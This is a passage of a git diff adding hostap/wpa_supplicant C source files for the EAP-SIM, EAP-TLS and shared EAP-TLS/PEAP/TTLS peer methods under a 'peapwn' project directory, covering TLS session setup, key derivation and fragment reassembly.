EAP_SIM_UNABLE_TO_PROCESS_PACKET); + break; + } + +done: + if (data->state == FAILURE) { + ret->decision = DECISION_FAIL; + ret->methodState = METHOD_DONE; + } else if (data->state == SUCCESS) { + ret->decision = data->use_result_ind ? + DECISION_UNCOND_SUCC : DECISION_COND_SUCC; + ret->methodState = data->use_result_ind ? + METHOD_DONE : METHOD_MAY_CONT; + } else if (data->state == RESULT_FAILURE) + ret->methodState = METHOD_CONT; + else if (data->state == RESULT_SUCCESS) + ret->methodState = METHOD_CONT; + + if (ret->methodState == METHOD_DONE) { + ret->allowNotifications = FALSE; + } + + return res; +} + + +static Boolean eap_sim_has_reauth_data(struct eap_sm *sm, void *priv) +{ + struct eap_sim_data *data = priv; + return data->pseudonym || data->reauth_id; +} + + +static void eap_sim_deinit_for_reauth(struct eap_sm *sm, void *priv) +{ + struct eap_sim_data *data = priv; + eap_sim_clear_identities(sm, data, CLEAR_EAP_ID); + data->use_result_ind = 0; +} + + +static void * eap_sim_init_for_reauth(struct eap_sm *sm, void *priv) +{ + struct eap_sim_data *data = priv; + if (random_get_bytes(data->nonce_mt, EAP_SIM_NONCE_MT_LEN)) { + wpa_printf(MSG_WARNING, "EAP-SIM: Failed to get random data " + "for NONCE_MT"); + os_free(data); + return NULL; + } + data->num_id_req = 0; + data->num_notification = 0; + eap_sim_state(data, CONTINUE); + return priv; +} + + +static const u8 * eap_sim_get_identity(struct eap_sm *sm, void *priv, + size_t *len) +{ + struct eap_sim_data *data = priv; + + if (data->reauth_id) { + *len = data->reauth_id_len; + return data->reauth_id; + } + + if (data->pseudonym) { + *len = data->pseudonym_len; + return data->pseudonym; + } + + return NULL; +} + + +static Boolean eap_sim_isKeyAvailable(struct eap_sm *sm, void *priv) +{ + struct eap_sim_data *data = priv; + return data->state == SUCCESS; +} + + +static u8 * eap_sim_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_sim_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_SIM_KEYING_DATA_LEN); + if (key == NULL) + return NULL; + + *len = EAP_SIM_KEYING_DATA_LEN; + os_memcpy(key, data->msk, EAP_SIM_KEYING_DATA_LEN); + + return key; +} + + +static u8 * eap_sim_get_session_id(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_sim_data *data = priv; + u8 *id; + + if (data->state != SUCCESS) + return NULL; + + *len = 1 + data->num_chal * GSM_RAND_LEN + EAP_SIM_NONCE_MT_LEN; + id = os_malloc(*len); + if (id == NULL) + return NULL; + + id[0] = EAP_TYPE_SIM; + os_memcpy(id + 1, data->rand, data->num_chal * GSM_RAND_LEN); + os_memcpy(id + 1 + data->num_chal * GSM_RAND_LEN, data->nonce_mt, + EAP_SIM_NONCE_MT_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-SIM: Derived Session-Id", id, *len); + + return id; +} + + +static u8 * eap_sim_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_sim_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key == NULL) + return NULL; + + *len = EAP_EMSK_LEN; + os_memcpy(key, data->emsk, EAP_EMSK_LEN); + + return key; +} + + +int eap_peer_sim_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_SIM, "SIM"); + if (eap == NULL) + return -1; + + eap->init = eap_sim_init; + eap->deinit = eap_sim_deinit; + eap->process = eap_sim_process; + eap->isKeyAvailable = eap_sim_isKeyAvailable; + eap->getKey = eap_sim_getKey; + eap->getSessionId = eap_sim_get_session_id; + eap->has_reauth_data = eap_sim_has_reauth_data; + eap->deinit_for_reauth = eap_sim_deinit_for_reauth; + eap->init_for_reauth = eap_sim_init_for_reauth; + eap->get_identity = eap_sim_get_identity; + eap->get_emsk = eap_sim_get_emsk; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_tls.c b/peapwn/mods/hostap/src/eap_peer/eap_tls.c new file mode 100644 index 000000000..d2066cd85 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_tls.c @@ -0,0 +1,384 @@ +/* + * EAP peer method: EAP-TLS (RFC 2716) + * Copyright (c) 2004-2008, 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/tls.h" +#include "eap_i.h" +#include "eap_tls_common.h" +#include "eap_config.h" + + +static void eap_tls_deinit(struct eap_sm *sm, void *priv); + + +struct eap_tls_data { + struct eap_ssl_data ssl; + u8 *key_data; + u8 *session_id; + size_t id_len; + void *ssl_ctx; + u8 eap_type; +}; + + +static void * eap_tls_init(struct eap_sm *sm) +{ + struct eap_tls_data *data; + struct eap_peer_config *config = eap_get_config(sm); + if (config == NULL || + ((sm->init_phase2 ? config->private_key2 : config->private_key) + == NULL && + (sm->init_phase2 ? config->engine2 : config->engine) == 0)) { + wpa_printf(MSG_INFO, "EAP-TLS: Private key not configured"); + return NULL; + } + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + + data->ssl_ctx = sm->init_phase2 && sm->ssl_ctx2 ? sm->ssl_ctx2 : + sm->ssl_ctx; + + if (eap_peer_tls_ssl_init(sm, &data->ssl, config, EAP_TYPE_TLS)) { + wpa_printf(MSG_INFO, "EAP-TLS: Failed to initialize SSL."); + eap_tls_deinit(sm, data); + if (config->engine) { + wpa_printf(MSG_DEBUG, "EAP-TLS: Requesting Smartcard " + "PIN"); + eap_sm_request_pin(sm); + sm->ignore = TRUE; + } else if (config->private_key && !config->private_key_passwd) + { + wpa_printf(MSG_DEBUG, "EAP-TLS: Requesting private " + "key passphrase"); + eap_sm_request_passphrase(sm); + sm->ignore = TRUE; + } + return NULL; + } + + data->eap_type = EAP_TYPE_TLS; + + return data; +} + + +#ifdef EAP_UNAUTH_TLS +static void * eap_unauth_tls_init(struct eap_sm *sm) +{ + struct eap_tls_data *data; + struct eap_peer_config *config = eap_get_config(sm); + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + + data->ssl_ctx = sm->init_phase2 && sm->ssl_ctx2 ? sm->ssl_ctx2 : + sm->ssl_ctx; + + if (eap_peer_tls_ssl_init(sm, &data->ssl, config, + EAP_UNAUTH_TLS_TYPE)) { + wpa_printf(MSG_INFO, "EAP-TLS: Failed to initialize SSL."); + eap_tls_deinit(sm, data); + return NULL; + } + + data->eap_type = EAP_UNAUTH_TLS_TYPE; + + return data; +} +#endif /* EAP_UNAUTH_TLS */ + + +static void eap_tls_deinit(struct eap_sm *sm, void *priv) +{ + struct eap_tls_data *data = priv; + if (data == NULL) + return; + eap_peer_tls_ssl_deinit(sm, &data->ssl); + os_free(data->key_data); + os_free(data->session_id); + os_free(data); +} + + +static struct wpabuf * eap_tls_failure(struct eap_sm *sm, + struct eap_tls_data *data, + struct eap_method_ret *ret, int res, + struct wpabuf *resp, u8 id) +{ + wpa_printf(MSG_DEBUG, "EAP-TLS: TLS processing failed"); + + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + + if (res == -1) { + struct eap_peer_config *config = eap_get_config(sm); + if (config) { + /* + * The TLS handshake failed. So better forget the old + * PIN. It may be wrong, we cannot be sure but trying + * the wrong one again might block it on the card--so + * better ask the user again. + */ + os_free(config->pin); + config->pin = NULL; + } + } + + if (resp) { + /* + * This is likely an alert message, so send it instead of just + * ACKing the error. + */ + return resp; + } + + return eap_peer_tls_build_ack(id, data->eap_type, 0); +} + + +static void eap_tls_success(struct eap_sm *sm, struct eap_tls_data *data, + struct eap_method_ret *ret) +{ + wpa_printf(MSG_DEBUG, "EAP-TLS: Done"); + + ret->methodState = METHOD_DONE; + ret->decision = DECISION_UNCOND_SUCC; + + os_free(data->key_data); + data->key_data = eap_peer_tls_derive_key(sm, &data->ssl, + "client EAP encryption", + EAP_TLS_KEY_LEN + + EAP_EMSK_LEN); + if (data->key_data) { + wpa_hexdump_key(MSG_DEBUG, "EAP-TLS: Derived key", + data->key_data, EAP_TLS_KEY_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-TLS: Derived EMSK", + data->key_data + EAP_TLS_KEY_LEN, + EAP_EMSK_LEN); + } else { + wpa_printf(MSG_INFO, "EAP-TLS: Failed to derive key"); + } + + os_free(data->session_id); + data->session_id = eap_peer_tls_derive_session_id(sm, &data->ssl, + EAP_TYPE_TLS, + &data->id_len); + if (data->session_id) { + wpa_hexdump(MSG_DEBUG, "EAP-TLS: Derived Session-Id", + data->session_id, data->id_len); + } else { + wpa_printf(MSG_ERROR, "EAP-TLS: Failed to derive Session-Id"); + } +} + + +static struct wpabuf * eap_tls_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + size_t left; + int res; + struct wpabuf *resp; + u8 flags, id; + const u8 *pos; + struct eap_tls_data *data = priv; + + pos = eap_peer_tls_process_init(sm, &data->ssl, data->eap_type, ret, + reqData, &left, &flags); + if (pos == NULL) + return NULL; + id = eap_get_id(reqData); + + if (flags & EAP_TLS_FLAGS_START) { + wpa_printf(MSG_DEBUG, "EAP-TLS: Start"); + left = 0; /* make sure that this frame is empty, even though it + * should always be, anyway */ + } + + resp = NULL; + res = eap_peer_tls_process_helper(sm, &data->ssl, data->eap_type, 0, + id, pos, left, &resp); + + if (res < 0) { + return eap_tls_failure(sm, data, ret, res, resp, id); + } + + if (tls_connection_established(data->ssl_ctx, data->ssl.conn)) + eap_tls_success(sm, data, ret); + + if (res == 1) { + wpabuf_free(resp); + return eap_peer_tls_build_ack(id, data->eap_type, 0); + } + + return resp; +} + + +static Boolean eap_tls_has_reauth_data(struct eap_sm *sm, void *priv) +{ + struct eap_tls_data *data = priv; + return tls_connection_established(data->ssl_ctx, data->ssl.conn); +} + + +static void eap_tls_deinit_for_reauth(struct eap_sm *sm, void *priv) +{ +} + + +static void * eap_tls_init_for_reauth(struct eap_sm *sm, void *priv) +{ + struct eap_tls_data *data = priv; + os_free(data->key_data); + data->key_data = NULL; + os_free(data->session_id); + data->session_id = NULL; + if (eap_peer_tls_reauth_init(sm, &data->ssl)) { + os_free(data); + return NULL; + } + return priv; +} + + +static int eap_tls_get_status(struct eap_sm *sm, void *priv, char *buf, + size_t buflen, int verbose) +{ + struct eap_tls_data *data = priv; + return eap_peer_tls_status(sm, &data->ssl, buf, buflen, verbose); +} + + +static Boolean eap_tls_isKeyAvailable(struct eap_sm *sm, void *priv) +{ + struct eap_tls_data *data = priv; + return data->key_data != NULL; +} + + +static u8 * eap_tls_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_tls_data *data = priv; + u8 *key; + + if (data->key_data == NULL) + return NULL; + + key = os_malloc(EAP_TLS_KEY_LEN); + if (key == NULL) + return NULL; + + *len = EAP_TLS_KEY_LEN; + os_memcpy(key, data->key_data, EAP_TLS_KEY_LEN); + + return key; +} + + +static u8 * eap_tls_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_tls_data *data = priv; + u8 *key; + + if (data->key_data == NULL) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key == NULL) + return NULL; + + *len = EAP_EMSK_LEN; + os_memcpy(key, data->key_data + EAP_TLS_KEY_LEN, EAP_EMSK_LEN); + + return key; +} + + +static u8 * eap_tls_get_session_id(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_tls_data *data = priv; + u8 *id; + + if (data->session_id == NULL) + return NULL; + + id = os_malloc(data->id_len); + if (id == NULL) + return NULL; + + *len = data->id_len; + os_memcpy(id, data->session_id, data->id_len); + + return id; +} + + +int eap_peer_tls_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_TLS, "TLS"); + if (eap == NULL) + return -1; + + eap->init = eap_tls_init; + eap->deinit = eap_tls_deinit; + eap->process = eap_tls_process; + eap->isKeyAvailable = eap_tls_isKeyAvailable; + eap->getKey = eap_tls_getKey; + eap->getSessionId = eap_tls_get_session_id; + eap->get_status = eap_tls_get_status; + eap->has_reauth_data = eap_tls_has_reauth_data; + eap->deinit_for_reauth = eap_tls_deinit_for_reauth; + eap->init_for_reauth = eap_tls_init_for_reauth; + eap->get_emsk = eap_tls_get_emsk; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} + + +#ifdef EAP_UNAUTH_TLS +int eap_peer_unauth_tls_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_UNAUTH_TLS, + EAP_VENDOR_TYPE_UNAUTH_TLS, "UNAUTH-TLS"); + if (eap == NULL) + return -1; + + eap->init = eap_unauth_tls_init; + eap->deinit = eap_tls_deinit; + eap->process = eap_tls_process; + eap->isKeyAvailable = eap_tls_isKeyAvailable; + eap->getKey = eap_tls_getKey; + eap->get_status = eap_tls_get_status; + eap->has_reauth_data = eap_tls_has_reauth_data; + eap->deinit_for_reauth = eap_tls_deinit_for_reauth; + eap->init_for_reauth = eap_tls_init_for_reauth; + eap->get_emsk = eap_tls_get_emsk; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} +#endif /* EAP_UNAUTH_TLS */ diff --git a/peapwn/mods/hostap/src/eap_peer/eap_tls_common.c b/peapwn/mods/hostap/src/eap_peer/eap_tls_common.c new file mode 100644 index 000000000..008af37b1 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_tls_common.c @@ -0,0 +1,1115 @@ +/* + * EAP peer: EAP-TLS/PEAP/TTLS/FAST common functions + * Copyright (c) 2004-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/sha1.h" +#include "crypto/tls.h" +#include "eap_i.h" +#include "eap_tls_common.h" +#include "eap_config.h" + + +static struct wpabuf * eap_tls_msg_alloc(EapType type, size_t payload_len, + u8 code, u8 identifier) +{ + if (type == EAP_UNAUTH_TLS_TYPE) + return eap_msg_alloc(EAP_VENDOR_UNAUTH_TLS, + EAP_VENDOR_TYPE_UNAUTH_TLS, payload_len, + code, identifier); + return eap_msg_alloc(EAP_VENDOR_IETF, type, payload_len, code, + identifier); +} + + +static int eap_tls_check_blob(struct eap_sm *sm, const char **name, + const u8 **data, size_t *data_len) +{ + const struct wpa_config_blob *blob; + + if (*name == NULL || os_strncmp(*name, "blob://", 7) != 0) + return 0; + + blob = eap_get_config_blob(sm, *name + 7); + if (blob == NULL) { + wpa_printf(MSG_ERROR, "%s: Named configuration blob '%s' not " + "found", __func__, *name + 7); + return -1; + } + + *name = NULL; + *data = blob->data; + *data_len = blob->len; + + return 0; +} + + +static void eap_tls_params_flags(struct tls_connection_params *params, + const char *txt) +{ + if (txt == NULL) + return; + if (os_strstr(txt, "tls_allow_md5=1")) + params->flags |= TLS_CONN_ALLOW_SIGN_RSA_MD5; + if (os_strstr(txt, "tls_disable_time_checks=1")) + params->flags |= TLS_CONN_DISABLE_TIME_CHECKS; + if (os_strstr(txt, "tls_disable_session_ticket=1")) + params->flags |= TLS_CONN_DISABLE_SESSION_TICKET; + if (os_strstr(txt, "tls_disable_session_ticket=0")) + params->flags &= ~TLS_CONN_DISABLE_SESSION_TICKET; +} + + +static void eap_tls_params_from_conf1(struct tls_connection_params *params, + struct eap_peer_config *config) +{ + params->ca_cert = (char *) config->ca_cert; + params->ca_path = (char *) config->ca_path; + params->client_cert = (char *) config->client_cert; + params->private_key = (char *) config->private_key; + params->private_key_passwd = (char *) config->private_key_passwd; + params->dh_file = (char *) config->dh_file; + params->subject_match = (char *) config->subject_match; + params->altsubject_match = (char *) config->altsubject_match; + params->suffix_match = config->domain_suffix_match; + params->engine = config->engine; + params->engine_id = config->engine_id; + params->pin = config->pin; + params->key_id = config->key_id; + params->cert_id = config->cert_id; + params->ca_cert_id = config->ca_cert_id; + eap_tls_params_flags(params, config->phase1); +} + + +static void eap_tls_params_from_conf2(struct tls_connection_params *params, + struct eap_peer_config *config) +{ + params->ca_cert = (char *) config->ca_cert2; + params->ca_path = (char *) config->ca_path2; + params->client_cert = (char *) config->client_cert2; + params->private_key = (char *) config->private_key2; + params->private_key_passwd = (char *) config->private_key2_passwd; + params->dh_file = (char *) config->dh_file2; + params->subject_match = (char *) config->subject_match2; + params->altsubject_match = (char *) config->altsubject_match2; + params->suffix_match = config->domain_suffix_match2; + params->engine = config->engine2; + params->engine_id = config->engine2_id; + params->pin = config->pin2; + params->key_id = config->key2_id; + params->cert_id = config->cert2_id; + params->ca_cert_id = config->ca_cert2_id; + eap_tls_params_flags(params, config->phase2); +} + + +static int eap_tls_params_from_conf(struct eap_sm *sm, + struct eap_ssl_data *data, + struct tls_connection_params *params, + struct eap_peer_config *config, int phase2) +{ + os_memset(params, 0, sizeof(*params)); + if (sm->workaround && data->eap_type != EAP_TYPE_FAST) { + /* + * Some deployed authentication servers seem to be unable to + * handle the TLS Session Ticket extension (they are supposed + * to ignore unrecognized TLS extensions, but end up rejecting + * the ClientHello instead). As a workaround, disable use of + * TLS Sesson Ticket extension for EAP-TLS, EAP-PEAP, and + * EAP-TTLS (EAP-FAST uses session ticket, so any server that + * supports EAP-FAST does not need this workaround). + */ + params->flags |= TLS_CONN_DISABLE_SESSION_TICKET; + } + if (phase2) { + wpa_printf(MSG_DEBUG, "TLS: using phase2 config options"); + eap_tls_params_from_conf2(params, config); + } else { + wpa_printf(MSG_DEBUG, "TLS: using phase1 config options"); + eap_tls_params_from_conf1(params, config); + } + + /* + * Use blob data, if available. Otherwise, leave reference to external + * file as-is. + */ + if (eap_tls_check_blob(sm, ¶ms->ca_cert, ¶ms->ca_cert_blob, + ¶ms->ca_cert_blob_len) || + eap_tls_check_blob(sm, ¶ms->client_cert, + ¶ms->client_cert_blob, + ¶ms->client_cert_blob_len) || + eap_tls_check_blob(sm, ¶ms->private_key, + ¶ms->private_key_blob, + ¶ms->private_key_blob_len) || + eap_tls_check_blob(sm, ¶ms->dh_file, ¶ms->dh_blob, + ¶ms->dh_blob_len)) { + wpa_printf(MSG_INFO, "SSL: Failed to get configuration blobs"); + return -1; + } + + return 0; +} + + +static int eap_tls_init_connection(struct eap_sm *sm, + struct eap_ssl_data *data, + struct eap_peer_config *config, + struct tls_connection_params *params) +{ + int res; + + if (config->ocsp) + params->flags |= TLS_CONN_REQUEST_OCSP; + if (config->ocsp == 2) + params->flags |= TLS_CONN_REQUIRE_OCSP; + data->conn = tls_connection_init(data->ssl_ctx); + if (data->conn == NULL) { + wpa_printf(MSG_INFO, "SSL: Failed to initialize new TLS " + "connection"); + return -1; + } + + res = tls_connection_set_params(data->ssl_ctx, data->conn, params); + if (res == TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED) { + /* + * At this point with the pkcs11 engine the PIN might be wrong. + * We reset the PIN in the configuration to be sure to not use + * it again and the calling function must request a new one. + */ + os_free(config->pin); + config->pin = NULL; + } else if (res == TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED) { + wpa_printf(MSG_INFO, "TLS: Failed to load private key"); + /* + * We do not know exactly but maybe the PIN was wrong, + * so ask for a new one. + */ + os_free(config->pin); + config->pin = NULL; + eap_sm_request_pin(sm); + sm->ignore = TRUE; + tls_connection_deinit(data->ssl_ctx, data->conn); + data->conn = NULL; + return -1; + } else if (res) { + wpa_printf(MSG_INFO, "TLS: Failed to set TLS connection " + "parameters"); + tls_connection_deinit(data->ssl_ctx, data->conn); + data->conn = NULL; + return -1; + } + + return 0; +} + + +/** + * eap_peer_tls_ssl_init - Initialize shared TLS functionality + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @data: Data for TLS processing + * @config: Pointer to the network configuration + * @eap_type: EAP method used in Phase 1 (EAP_TYPE_TLS/PEAP/TTLS/FAST) + * Returns: 0 on success, -1 on failure + * + * This function is used to initialize shared TLS functionality for EAP-TLS, + * EAP-PEAP, EAP-TTLS, and EAP-FAST. + */ +int eap_peer_tls_ssl_init(struct eap_sm *sm, struct eap_ssl_data *data, + struct eap_peer_config *config, u8 eap_type) +{ + struct tls_connection_params params; + + if (config == NULL) + return -1; + + data->eap = sm; + data->eap_type = eap_type; + data->phase2 = sm->init_phase2; + data->ssl_ctx = sm->init_phase2 && sm->ssl_ctx2 ? sm->ssl_ctx2 : + sm->ssl_ctx; + if (eap_tls_params_from_conf(sm, data, ¶ms, config, data->phase2) < + 0) + return -1; + + if (eap_tls_init_connection(sm, data, config, ¶ms) < 0) + return -1; + + data->tls_out_limit = config->fragment_size; + if (data->phase2) { + /* Limit the fragment size in the inner TLS authentication + * since the outer authentication with EAP-PEAP does not yet + * support fragmentation */ + if (data->tls_out_limit > 100) + data->tls_out_limit -= 100; + } + + if (config->phase1 && + os_strstr(config->phase1, "include_tls_length=1")) { + wpa_printf(MSG_DEBUG, "TLS: Include TLS Message Length in " + "unfragmented packets"); + data->include_tls_length = 1; + } + + return 0; +} + + +/** + * eap_peer_tls_ssl_deinit - Deinitialize shared TLS functionality + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @data: Data for TLS processing + * + * This function deinitializes shared TLS functionality that was initialized + * with eap_peer_tls_ssl_init(). + */ +void eap_peer_tls_ssl_deinit(struct eap_sm *sm, struct eap_ssl_data *data) +{ + tls_connection_deinit(data->ssl_ctx, data->conn); + eap_peer_tls_reset_input(data); + eap_peer_tls_reset_output(data); +} + + +/** + * eap_peer_tls_derive_key - Derive a key based on TLS session data + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @data: Data for TLS processing + * @label: Label string for deriving the keys, e.g., "client EAP encryption" + * @len: Length of the key material to generate (usually 64 for MSK) + * Returns: Pointer to allocated key on success or %NULL on failure + * + * This function uses TLS-PRF to generate pseudo-random data based on the TLS + * session data (client/server random and master key). Each key type may use a + * different label to bind the key usage into the generated material. + * + * The caller is responsible for freeing the returned buffer. + */ +u8 * eap_peer_tls_derive_key(struct eap_sm *sm, struct eap_ssl_data *data, + const char *label, size_t len) +{ +#ifndef CONFIG_FIPS + struct tls_keys keys; +#endif /* CONFIG_FIPS */ + u8 *rnd = NULL, *out; + + out = os_malloc(len); + if (out == NULL) + return NULL; + + /* First, try to use TLS library function for PRF, if available. */ + if (tls_connection_prf(data->ssl_ctx, data->conn, label, 0, out, len) + == 0) + return out; + +#ifndef CONFIG_FIPS + /* + * TLS library did not support key generation, so get the needed TLS + * session parameters and use an internal implementation of TLS PRF to + * derive the key. + */ + if (tls_connection_get_keys(data->ssl_ctx, data->conn, &keys)) + goto fail; + + if (keys.client_random == NULL || keys.server_random == NULL || + keys.master_key == NULL) + goto fail; + + rnd = os_malloc(keys.client_random_len + keys.server_random_len); + if (rnd == NULL) + goto fail; + os_memcpy(rnd, keys.client_random, keys.client_random_len); + os_memcpy(rnd + keys.client_random_len, keys.server_random, + keys.server_random_len); + + if (tls_prf_sha1_md5(keys.master_key, keys.master_key_len, + label, rnd, keys.client_random_len + + keys.server_random_len, out, len)) + goto fail; + + os_free(rnd); + return out; + +fail: +#endif /* CONFIG_FIPS */ + os_free(out); + os_free(rnd); + return NULL; +} + + +/** + * eap_peer_tls_derive_session_id - Derive a Session-Id based on TLS data + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @data: Data for TLS processing + * @eap_type: EAP method used in Phase 1 (EAP_TYPE_TLS/PEAP/TTLS/FAST) + * @len: Pointer to length of the session ID generated + * Returns: Pointer to allocated Session-Id on success or %NULL on failure + * + * This function derive the Session-Id based on the TLS session data + * (client/server random and method type). + * + * The caller is responsible for freeing the returned buffer. + */ +u8 * eap_peer_tls_derive_session_id(struct eap_sm *sm, + struct eap_ssl_data *data, u8 eap_type, + size_t *len) +{ + struct tls_keys keys; + u8 *out; + + /* + * TLS library did not support session ID generation, + * so get the needed TLS session parameters + */ + if (tls_connection_get_keys(sm->ssl_ctx, data->conn, &keys)) + return NULL; + + if (keys.client_random == NULL || keys.server_random == NULL || + keys.master_key == NULL) + return NULL; + + *len = 1 + keys.client_random_len + keys.server_random_len; + out = os_malloc(*len); + if (out == NULL) + return NULL; + + /* Session-Id = EAP type || client.random || server.random */ + out[0] = eap_type; + os_memcpy(out + 1, keys.client_random, keys.client_random_len); + os_memcpy(out + 1 + keys.client_random_len, keys.server_random, + keys.server_random_len); + + return out; +} + + +/** + * eap_peer_tls_reassemble_fragment - Reassemble a received fragment + * @data: Data for TLS processing + * @in_data: Next incoming TLS segment + * Returns: 0 on success, 1 if more data is needed for the full message, or + * -1 on error + */ +static int eap_peer_tls_reassemble_fragment(struct eap_ssl_data *data, + const struct wpabuf *in_data) +{ + size_t tls_in_len, in_len; + + tls_in_len = data->tls_in ? wpabuf_len(data->tls_in) : 0; + in_len = in_data ? wpabuf_len(in_data) : 0; + + if (tls_in_len + in_len == 0) { + /* No message data received?! */ + wpa_printf(MSG_WARNING, "SSL: Invalid reassembly state: " + "tls_in_left=%lu tls_in_len=%lu in_len=%lu", + (unsigned long) data->tls_in_left, + (unsigned long) tls_in_len, + (unsigned long) in_len); + eap_peer_tls_reset_input(data); + return -1; + } + + if (tls_in_len + in_len > 65536) { + /* + * Limit length to avoid rogue servers from causing large + * memory allocations. + */ + wpa_printf(MSG_INFO, "SSL: Too long TLS fragment (size over " + "64 kB)"); + eap_peer_tls_reset_input(data); + return -1; + } + + if (in_len > data->tls_in_left) { + /* Sender is doing something odd - reject message */ + wpa_printf(MSG_INFO, "SSL: more data than TLS message length " + "indicated"); + eap_peer_tls_reset_input(data); + return -1; + } + + if (wpabuf_resize(&data->tls_in, in_len) < 0) { + wpa_printf(MSG_INFO, "SSL: Could not allocate memory for TLS " + "data"); + eap_peer_tls_reset_input(data); + return -1; + } + if (in_data) + wpabuf_put_buf(data->tls_in, in_data); + data->tls_in_left -= in_len; + + if (data->tls_in_left > 0) { + wpa_printf(MSG_DEBUG, "SSL: Need %lu bytes more input " + "data", (unsigned long) data->tls_in_left); + return 1; + } + + return 0; +} + + +/** + * eap_peer_tls_data_reassemble - Reassemble TLS data + * @data: Data for TLS processing + * @in_data: Next incoming TLS segment + * @need_more_input: Variable for returning whether more input data is needed + * to reassemble this TLS packet + * Returns: Pointer to output data, %NULL on error or when more data is needed + * for the full message (in which case, *need_more_input is also set to 1). + * + * This function reassembles TLS fragments. Caller must not free the returned + * data buffer since an internal pointer to it is maintained. + */ +static const struct wpabuf * eap_peer_tls_data_reassemble( + struct eap_ssl_data *data, const struct wpabuf *in_data, + int *need_more_input) +{ + *need_more_input = 0; + + if (data->tls_in_left > wpabuf_len(in_data) || data->tls_in) { + /* Message has fragments */ + int res = eap_peer_tls_reassemble_fragment(data, in_data); + if (res) { + if (res == 1) + *need_more_input = 1; + return NULL; + } + + /* Message is now fully reassembled. */ + } else { + /* No fragments in this message, so just make a copy of it. */ + data->tls_in_left = 0; + data->tls_in = wpabuf_dup(in_data); + if (data->tls_in == NULL) + return NULL; + } + + return data->tls_in; +} + + +/** + * eap_tls_process_input - Process incoming TLS message + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @data: Data for TLS processing + * @in_data: Message received from the server + * @in_len: Length of in_data + * @out_data: Buffer for returning a pointer to application data (if available) + * Returns: 0 on success, 1 if more input data is needed, 2 if application data + * is available, -1 on failure + */ +static int eap_tls_process_input(struct eap_sm *sm, struct eap_ssl_data *data, + const u8 *in_data, size_t in_len, + struct wpabuf **out_data) +{ + const struct wpabuf *msg; + int need_more_input; + struct wpabuf *appl_data; + struct wpabuf buf; + + wpabuf_set(&buf, in_data, in_len); + msg = eap_peer_tls_data_reassemble(data, &buf, &need_more_input); + if (msg == NULL) + return need_more_input ? 1 : -1; + + /* Full TLS message reassembled - continue handshake processing */ + if (data->tls_out) { + /* This should not happen.. */ + wpa_printf(MSG_INFO, "SSL: eap_tls_process_input - pending " + "tls_out data even though tls_out_len = 0"); + wpabuf_free(data->tls_out); + WPA_ASSERT(data->tls_out == NULL); + } + appl_data = NULL; + data->tls_out = tls_connection_handshake(data->ssl_ctx, data->conn, + msg, &appl_data); + + eap_peer_tls_reset_input(data); + + if (appl_data && + tls_connection_established(data->ssl_ctx, data->conn) && + !tls_connection_get_failed(data->ssl_ctx, data->conn)) { + wpa_hexdump_buf_key(MSG_MSGDUMP, "SSL: Application data", + appl_data); + *out_data = appl_data; + return 2; + } + + wpabuf_free(appl_data); + + return 0; +} + + +/** + * eap_tls_process_output - Process outgoing TLS message + * @data: Data for TLS processing + * @eap_type: EAP type (EAP_TYPE_TLS, EAP_TYPE_PEAP, ...) + * @peap_version: Version number for EAP-PEAP/TTLS + * @id: EAP identifier for the response + * @ret: Return value to use on success + * @out_data: Buffer for returning the allocated output buffer + * Returns: ret (0 or 1) on success, -1 on failure + */ +static int eap_tls_process_output(struct eap_ssl_data *data, EapType eap_type, + int peap_version, u8 id, int ret, + struct wpabuf **out_data) +{ + size_t len; + u8 *flags; + int more_fragments, length_included; + + if (data->tls_out == NULL) + return -1; + len = wpabuf_len(data->tls_out) - data->tls_out_pos; + wpa_printf(MSG_DEBUG, "SSL: %lu bytes left to be sent out (of total " + "%lu bytes)", + (unsigned long) len, + (unsigned long) wpabuf_len(data->tls_out)); + + /* + * Limit outgoing message to the configured maximum size. Fragment + * message if needed. + */ + if (len > data->tls_out_limit) { + more_fragments = 1; + len = data->tls_out_limit; + wpa_printf(MSG_DEBUG, "SSL: sending %lu bytes, more fragments " + "will follow", 